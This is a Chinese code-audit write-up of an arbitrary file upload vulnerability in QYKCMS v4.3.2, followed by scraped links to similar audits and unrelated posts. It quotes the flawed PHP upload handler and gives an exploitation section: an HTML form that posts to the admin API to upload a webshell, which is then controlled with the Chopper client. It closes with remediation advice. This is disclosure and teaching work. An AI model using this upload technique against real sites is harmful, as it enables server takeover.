【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析
0x00 环境准备
QYKCMS官网:http://www.qykcms.com/
网站源码版本:QYKCMS_v4.3.2(企业站主题)
程序源码下载:http://bbs.qingyunke.com/thread-13.htm
测试网站首页:
0x01 代码分析
1、漏洞文件位置:/admin_system/include/lib/upfile.php 第24-69行:
- switch($types){
- case 'template':
- if(!ispower($admin_group,'skin_upload'))ajaxreturn(1,'error4');
- $typename=strtolower(pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION));
- $filename=strtolower($_FILES['file']['name']);
- if(!in_array($typename,array('html','css','js','jpg','gif','png')))ajaxreturn(1,'error');
- $path=arg('path','all','url');
- $filepath='../'.setup_webfolder.$website['webid'].'/'.$path.'/'.$filename;
- $isup=false;
- 10. $path2=$filepath;
- 11. for($i=1;$i<=10000;$i++){
- 12. if(file_exists($path2)){
- 13. $path2=preg_replace('/\.'.$typename.'$/','_'.$i.'.'.$typename.'',$filepath);
- 14. }else{
- 15. $filepath=$path2;
- 16. $isup=true;
- 17. break;
- 18. }
- 19. }
- 20. if($isup){
- 21. move_uploaded_file($_FILES['file']['tmp_name'],$filepath);
- 22. infoadminlog($website['webid'],$tcz['admin'],24,'上传模板文件:'.$path.'/'.$filename);
- 23. $res='http://'.$website['setup_weburl'].'/'.$website['upfolder'].setup_uptemp.'|'.$filename;
- 24. }else{
- 25. ajaxreturn(1,'error3'); //文件重名
- 26. }
- 27. break;
- 28. case 'none':
- 29. //$oldname=strtolower($_FILES['file']['name']);
- 30. $typename=strtolower(pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION));
- 31. $filename=date('dHis').'_'.randomkeys(6).'.'.$typename;
- 32. $path='../'.$website['upfolder'].setup_uptemp.$filename;
- 33. move_uploaded_file($_FILES['file']['tmp_name'],$path);
- 34. $res='http://'.$website['setup_weburl'].'/'.$website['upfolder'].setup_uptemp.'|'.$filename;
- 35. break;
- 36. case 'theme':
- 37. if(!ispower($admin_group,'super'))ajaxreturn(1,'error4');
- 38. $typename=strtolower(pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION));
- 39. if($typename!='zip')ajaxreturn(1,'error');
- 40. $dir='../'.$website['upfolder'].setup_uptemp;
- 41. $filename='qyk_theme_new.zip';
- 42. $path=$dir.$filename;
- 43. move_uploaded_file($_FILES['file']['tmp_name'],$path);
- 44. infoadminlog($website['webid'],$tcz['admin'],24,'上传主题安装包');
- 45. $res='http://'.$website['setup_weburl'].'/'.$website['upfolder'].setup_uptemp.'|'.$filename;
- 46. break;
这段代码根据types的值进行操作,可以发现当$types=none的时候(注意看红色代码部分),获取文件名后缀,拼接成完整路径,然后将文件上传到服务器。
并没有对文件类型进行过滤,导致程序在实现上存在任意文件上传漏洞,攻击者可以通过上传脚本木马,控制服务器权限。
0x02 漏洞利用
1、构造Form表单:
- <form enctype="multipart/form-data" action="http://127.0.0.1/admin_system/api.php?admin=admin&key=15bc30cb5bfc1775c4733c9558fded91&log=upfile&types=none" method="post">
- Upload a new file:<br>
- <input type="file" name="file" size="50"><br>
- <input type="submit" value="Upload">
- </form>
2、成功上传脚本木马,并回显上传路径
3、去掉文件名称的第一个“|”符,然后访问脚本木马地址
4、通过菜刀连接,成功控制网站服务器
0x03 修复建议
1、通过白名单限制上传文件后缀
2、禁止上传目录脚本执行权限。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。
【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析的更多相关文章
- 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析
0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...
- 【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- 【代码审计】UKCMS_v1.1.0 文件上传漏洞分析
0x00 环境准备 ukcms官网:https://www.ukcms.com/ 程序源码下载:http://down.ukcms.com/down.php?v=1.1.0 测试网站首页: 0x0 ...
- UEditor编辑器两个版本任意文件上传漏洞分析
0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器,具有轻量.可定制.用户体验优秀等特点 ,被广大WEB应用程序所使用:本次爆出的高危漏洞属于.NET版本,其它的 ...
- [转]UEditor编辑器两个版本任意文件上传漏洞分析
0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器,具有轻量.可定制.用户体验优秀等特点 ,被广大WEB应用程序所使用:本次爆出的高危漏洞属于.NET版本,其它的 ...
- 【代码审计】XYHCMS V3.5文件上传漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 关于finecms v5 会员头像 任意文件上传漏洞分析
看到我私藏的一个洞被别人提交到补天拿奖金,所以我干脆在社区这里分享,给大家学习下 本文原创作者:常威,本文属i春秋原创奖励计划,未经许可禁止转载! 1.定位功能 下载源码在本地搭建起来后,正常登陆了用 ...
- PHPCMS v9.6.0 任意文件上传漏洞分析
引用源:http://paper.seebug.org/273/ 配置了php debug的环境,并且根据这篇文章把流程走了一遍,对phpstorm的debug熟练度+1(跟pycharm一样) 用户 ...
- [代码审计]XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)
0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...
随机推荐
- 自己用过的一些比较有用的css3新属性
css3刚推出不久,虽然大多数的css3属性在很多流行的浏览器中不支持,但我个人觉得还是要尽量开始慢慢的去了解并使用css3(还有html5),因为我觉得这是一种趋势,它是一种已经被制定的标准.我并不 ...
- 9、Qt 事件处理机制
原文地址:http://mobile.51cto.com/symbian-272812.htm 在Qt中,事件被封装成一个个对象,所有的事件均继承自抽象类QEvent. 接下来依次谈谈Qt中有谁来产生 ...
- 【转】关于HTTP服务器每个客户端2个连接的限制
http://www.cnblogs.com/lishenglyx/archive/2010/01/07/1641190.html 这两天猫在家里搞一个多线程的断点续传得C#程序,发现同时只能开2个线 ...
- MySQL 数据库 varchar 到底可以存多少个汉字,多少个英文呢?我们来搞搞清楚
一.关于UTF-8 UTF-8 Unicode Transformation Format-8bit.是用以解决国际上字符的一种多字节编码. 它对英文使用8位(即一个字节) ,中文使用24位(三个字节 ...
- (笔记)Mysql命令update set:修改表中的数据
update set命令用来修改表中的数据. update set命令格式:update 表名 set 字段=新值,… where 条件; 举例如下:mysql> update MyClass ...
- e777. 获得JList组件的所有项
// Create a list String[] items = {"A", "B", "C", "D"}; JLis ...
- AWT控件称为重量级控件
AWT 是Abstract Window ToolKit (抽象窗口工具包)的缩写,这个工具包提供了一套与本地图形界面进行交互的接口. AWT 中的图形函数与操作系统所提供的图形函数之间有着一一对应的 ...
- Linq中string转int的方法
Linq中string转int的方法 在做批量删除时,需把一串id值所对应的数据删除,调试出现问题: Linq语句中如果使用ToString()进行类型转换,编译时不会报错,但执行时会出现如下错误 ...
- iOS :ViewDidAppear
进入一个 UIViewController 会调用它的三个方法,分别是 viewDidLoad, viewWillAppear, viewDidAppear. 如每个方法的名字一样,在不同的方法中要处 ...
- 在PC上运行安卓(Android)应用程序的4个方法
我有一部荣耀3C,一般放在宿舍(我随身携带的是一部诺基亚E63,小巧.稳定.待机时间长),在宿舍我就会用它在微信上看公众号里的文章,最近要考驾照也在上面用驾考宝典.最近想在实验室用这两个软件,但又懒得 ...